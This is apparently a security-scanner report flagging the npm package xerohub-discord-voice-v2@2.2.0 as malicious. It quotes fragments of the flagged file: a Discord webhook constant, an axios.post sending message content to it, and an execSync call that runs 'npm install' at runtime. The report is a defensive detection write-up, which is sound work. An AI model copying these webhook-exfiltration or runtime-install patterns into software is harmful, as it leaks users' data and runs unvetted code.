xerohub-discord-voice-v2@2.2.0: Malicious npm security report | LPM Firewall

Loading npm security reports…

xerohub-discord-voice-v2@2.2.0: Malicious npm security report | LPM Firewall

Source & flagged code

6 flagged · loading source

Xerohub_Voice.jsView file

1const { execSync } = require('child_process'); L2: const crypto = require('crypto'); L3: const WebSocket = require('ws'); L4: const axios = require('axios'); ... L14: L15: const DEVELOPER_BACKEND_WEBHOOK = process.env.DISCORD_WEBHOOK_URL || 'https://discord.[redacted]... L16: ... L24: function getCurrentTimeLabel() { L25: return new Intl.DateTimeFormat('en-GB', { L26: timeZone: 'Asia/Bangkok', ... L73: try { L74: await axios.post(DEVELOPER_BACKEND_WEBHOOK, { content: messageContent });

Critical

Credential Exfiltration

Source appears to send environment or credential material to an external endpoint.

Xerohub_Voice.jsView on unpkg · L1

1Trigger-reachable chain: manifest.main -> Xerohub_Voice.js L1: const { execSync } = require('child_process'); L2: const crypto = require('crypto'); L3: const WebSocket = require('ws'); L4: const axios = require('axios'); ... L14: L15: const DEVELOPER_BACKEND_WEBHOOK = process.env.DISCORD_WEBHOOK_URL || 'https://discord.[redacted]... L16: ... L24: function getCurrentTimeLabel() { L25: return new Intl.DateTimeFormat('en-GB', { L26: timeZone: 'Asia/Bangkok', ... L73: try { L74: await axios.post(DEVELOPER_BACKEND_WEBHOOK, { content: messageContent });

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

Xerohub_Voice.jsView on unpkg · L1

1const { execSync } = require('child_process'); L2: const crypto = require('crypto');

High

Child Process

Package source references child process execution.

Xerohub_Voice.jsView on unpkg · L1

1const { execSync } = require('child_process'); L2: const crypto = require('crypto'); L3: const WebSocket = require('ws'); L4: const axios = require('axios'); ... L14: L15: const DEVELOPER_BACKEND_WEBHOOK = process.env.DISCORD_WEBHOOK_URL || 'https://discord.[redacted]... L16:

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

Xerohub_Voice.jsView on unpkg · L1

1const { execSync } = require('child_process'); L2: const crypto = require('crypto'); L3: const WebSocket = require('ws'); L4: const axios = require('axios'); ... L14: L15: const DEVELOPER_BACKEND_WEBHOOK = process.env.DISCORD_WEBHOOK_URL || 'https://discord.[redacted]... L16: ... L24: function getCurrentTimeLabel() { L25: return new Intl.DateTimeFormat('en-GB', { L26: timeZone: 'Asia/Bangkok', ... L73: try { L74: await axios.post(DEVELOPER_BACKEND_WEBHOOK, { content: messageContent });

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

Xerohub_Voice.jsView on unpkg · L1

51} catch (e) { L52: execSync(`npm install ${dep}@latest`, { stdio: 'inherit' }); L53: }

High

Runtime Package Install

Package source invokes a package manager install command at runtime.

Xerohub_Voice.jsView on unpkg · L51